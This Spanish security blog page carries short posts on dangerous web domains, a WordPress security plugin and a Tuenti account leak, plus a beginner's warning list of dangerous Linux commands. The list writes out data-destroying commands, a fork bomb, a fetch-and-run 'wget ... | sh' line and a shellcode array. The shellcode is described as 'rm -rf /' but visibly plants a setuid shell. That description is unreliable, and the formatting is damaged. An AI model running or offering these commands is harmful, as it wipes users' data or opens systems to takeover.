Seguridad
Determinan cuales son los dominios web más peligrosos a la hora de navegar
Dic 14
(www.neomundo.com.ar / Saludyciencias.com.ar ) El dominio de Camerún (.cm), África, ha vencido a Hong Kong (.hk) como el dominio Web más peligroso, según se desprende del tercer informe anual realizado por los profesionales de la compañía especializada seguridad digital McAfee.
El trabajo, denominado “Mapping the Mal Web”, también da cuenta del el extremo opuesto, el más seguro; sitial que le corresponde a Japón (.jp), que -por segundo año consecutivo figura- entre los cinco dominios de mayor seguridad.
SecurePress, seguridad total en WordPress
Dic 12
SecureLive es un sistema de seguridad para sitios web no exclusivo para WordPress (hay versiones para Joomla, PHP, Magento y más) pero que también existe como plugin gratuito que puedes instalar desde el instalador de plugins o la página oficial de SecurePress.
Lo que ofrece SecurePress es un completo sistema de detección y alertas de hacking y exploits para WordPress que no solo detecta los ataques sino que los bloquea, te alerta e incluso te manda informes por email o mensajes de texto. SecureLive dice que detecta un 98,9% de los posibles ataques, ahí es nada, aunque ya sabes que en el software de seguridad siempre vamos por detrás de los atacantes y nadie te va a asegurar un 100% de efectividad.
¡Cuidado! Casi 4000 cuentas de Tuenti han sido filtradas
Dic 10
Grave agujero de seguridad en Tuenti: casi 4000 cuentas de usuarios activos de Tuenti han sido filtradas, incluyendo contraseñas. Todavía no se sabe cómo se han obtenido, si es por un fallo de seguridad en la propia infrastructura de Tuenti o, como todo apunta, a un ataque de phishing desde un sitio externo.
La persona que nos ha avisado es el mismo que ha filtrado esta lista y se apoda McKiza. Este hacker dice estar enfadado con Tuenti por la cantidad de eventos falsos que están pululando por la red (¡Tuenti se cierra, invita a tus amigos!), pero creo que todos estaréis de acuerdo en que filtrar todas estas cuentas no se puede justificar.
Desde Tuenti ya conocen la situación y están trabajando para congelar rápidamente estas cuentas (la mayoría son reales y las contraseñas funcionan perfectamente). De todas formas, cambiad ahora mismo vuestra contraseña si la habéis metido en algún sitio externo a Tuenti. Y, de paso, dejad de registraros en esos sitios con los mismos datos de Tuenti (y también de vuestros correos), que nunca aprendéis.
7 comandos peligrosos para Linux
Dic 9
Si eres nuevo en Linux, las oportunidades de que alguién te engañe diciendote que uses algún comando para destruir tu sistema son muy altas, por eso es bueno conocer los comandos más peligrosos para GNU/Linux, en Tech Source from Bohol hay un listado de los 7 comando más mortales para Linux, (traducción en Nierox) , algunos de estos comandos pueden formatear el disco duro, dañar los archivos, etc.
rm -rf /
Este comando borrará de manera recursiva y convincente todos los archivos en el directorio raíz, aquí tienes un video para ver en acción el comandorm -rf /.char esp[] __attribute__ ((section(”.text”))) /* e.s.p
release */
= “xebx3ex5bx31xc0x50x54x5ax83xecx64x68″
“xffxffxffxffx68xdfxd0xdfxd9x68x8dx99″
“xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7″
“x56x04xf7x56x08xf7x56x0cx83xc4x74x56″
“x8dx73x08x56x53x54x59xb0x0bxcdx80x31″
“xc0x40xebxf9xe8xbdxffxffxffx2fx62x69″
“x6ex2fx73x68x00x2dx63x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;
Esta es la versión hexadecimal derm-rf /que pueden engañar hasta a los usuarios expertos de Linux.mkfs.ext3 /dev/sda
Este comando formatea la partición que se menciona después de mkfs.:(){:|:&};:
A este comando se le conoce cómo bomba fork, ejecutar un gran número de procesos hasta que el sistema se congela. Esto puede conducir a la corrupción de datos.any_command > /dev/sda
Este comando provoca perdida total de datos, en la particion que se menciona en el comandowget http://alguna_fuente_no_confiable -O- | sh
Esto descarga paquetes de alguna fuente no confiable y la ejecuta, debes tener mucho cuidado ya que puede ser código maliciosomv /home/tu-carpeta-home/* /dev/null
Este comando va a mover todo el contenido de tu carpeta Home a un directorio que no existe, esto significa que ya nunca volverás a ver tus archivos.
